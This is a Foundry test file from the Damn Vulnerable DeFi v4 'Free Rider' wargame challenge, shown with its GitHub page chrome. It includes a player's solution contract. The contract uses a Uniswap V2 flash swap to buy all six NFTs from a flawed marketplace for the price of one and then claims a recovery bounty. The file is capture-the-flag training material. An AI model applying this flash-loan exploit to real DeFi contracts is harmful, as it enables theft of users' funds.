-
Notifications
You must be signed in to change notification settings - Fork 115
/
FreeRider.t.sol
220 lines (188 loc) · 8.42 KB
/
FreeRider.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {FreeRiderNFTMarketplace} from "../../src/free-rider/FreeRiderNFTMarketplace.sol";
import {FreeRiderRecoveryManager} from "../../src/free-rider/FreeRiderRecoveryManager.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recoveryManagerOwner = makeAddr("recoveryManagerOwner");
// The NFT marketplace has 6 tokens, at 15 ETH each
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
uint256 constant MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant BOUNTY = 45 ether;
// Initial reserves for the Uniswap V2 pool
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 15000e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 9000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Player starts with limited ETH balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy tokens to be traded
token = new DamnValuableToken();
weth = new WETH();
// Deploy Uniswap V2 Factory and Router
uniswapV2Factory = IUniswapV2Factory(deployCode("builds/uniswap/UniswapV2Factory.json", abi.encode(address(0))));
uniswapV2Router = IUniswapV2Router02(
deployCode("builds/uniswap/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory), address(weth)))
);
token.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(
address(token), // token to be traded against WETH
UNISWAP_INITIAL_TOKEN_RESERVE, // amountTokenDesired
0, // amountTokenMin
0, // amountETHMin
deployer, // to
block.timestamp * 2 // deadline
);
// Get a reference to the created Uniswap pair
uniswapPair = IUniswapV2Pair(uniswapV2Factory.getPair(address(token), address(weth)));
// Deploy the marketplace and get the associated ERC721 token
// The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see `FreeRiderNFTMarketplace::constructor`)
marketplace = new FreeRiderNFTMarketplace{value: MARKETPLACE_INITIAL_ETH_BALANCE}(AMOUNT_OF_NFTS);
// Get a reference to the deployed NFT contract. Then approve the marketplace to trade them.
nft = marketplace.token();
nft.setApprovalForAll(address(marketplace), true);
// Open offers in the marketplace
uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
uint256[] memory prices = new uint256[](AMOUNT_OF_NFTS);
for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
ids[i] = i;
prices[i] = NFT_PRICE;
}
marketplace.offerMany(ids, prices);
// Deploy recovery manager contract, adding the player as the beneficiary
recoveryManager =
new FreeRiderRecoveryManager{value: BOUNTY}(player, address(nft), recoveryManagerOwner, BOUNTY);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(uniswapPair.token0(), address(weth));
assertEq(uniswapPair.token1(), address(token));
assertGt(uniswapPair.balanceOf(deployer), 0);
assertEq(nft.owner(), address(0));
assertEq(nft.rolesOf(address(marketplace)), nft.MINTER_ROLE());
// Ensure deployer owns all minted NFTs.
for (uint256 id = 0; id < AMOUNT_OF_NFTS; id++) {
assertEq(nft.ownerOf(id), deployer);
}
assertEq(marketplace.offersCount(), 6);
assertTrue(nft.isApprovedForAll(address(recoveryManager), recoveryManagerOwner));
assertEq(address(recoveryManager).balance, BOUNTY);
}
/**
* CODE YOUR SOLUTION HERE
*/
// constructor(DamnValuableToken _token,FreeRiderNFTMarketplace _marketplace,DamnValuableNFT _nft,address _recovery,WETH _weth,IUniswapV2Pair _pair)payable {
function test_freeRider() public checkSolvedByPlayer {
Exploit Attack=new Exploit(token,marketplace,nft,recoveryManager,weth,uniswapPair);
uniswapPair.swap(15 ether, 0, address(Attack), "0x123");
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// The recovery owner extracts all NFTs from its associated contract
for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
vm.prank(recoveryManagerOwner);
nft.transferFrom(address(recoveryManager), recoveryManagerOwner, tokenId);
assertEq(nft.ownerOf(tokenId), recoveryManagerOwner);
}
// Exchange must have lost NFTs and ETH
assertEq(marketplace.offersCount(), 0);
assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE);
// Player must have earned all ETH
assertGt(player.balance, BOUNTY);
assertEq(address(recoveryManager).balance, 0);
}
}
contract Exploit is Test{
// The NFT marketplace has 6 tokens, at 15 ETH each
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
uint256 constant MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant BOUNTY = 45 ether;
// Initial reserves for the Uniswap V2 pool
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 15000e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 9000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
DamnValuableNFT nft;
FreeRiderRecoveryManager recoveryManager;
address public owner;
constructor(DamnValuableToken _token,FreeRiderNFTMarketplace _marketplace,DamnValuableNFT _nft,FreeRiderRecoveryManager _recovery,WETH _weth,IUniswapV2Pair _pair)payable {
token=_token;
marketplace=_marketplace;
nft=_nft;
recoveryManager=_recovery;
weth=_weth;
uniswapPair=_pair;
owner=msg.sender;
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
weth.withdraw(weth.balanceOf(address(this)));
//购买nft
uint256[] memory nftid = new uint256[](6);
for (uint i = 0; i < nftid.length; ++i) {
nftid[i] = i;
}
marketplace.buyMany{value: 15 ether}(nftid);
//手续费
uint256 replayamount =15 ether * 1004 / 1000;
weth.deposit{value: replayamount}();
weth.transfer(address(uniswapPair), 15.06 ether);
weth.transfer(address(owner), weth.balanceOf(address(this)));
//转到恢复地址
for(uint256 i=0;i<6;i++){
nft.safeTransferFrom(address(this), address(recoveryManager), i,abi.encode(address(owner)));
}
}
function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
external
returns (bytes4)
{
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable{}
}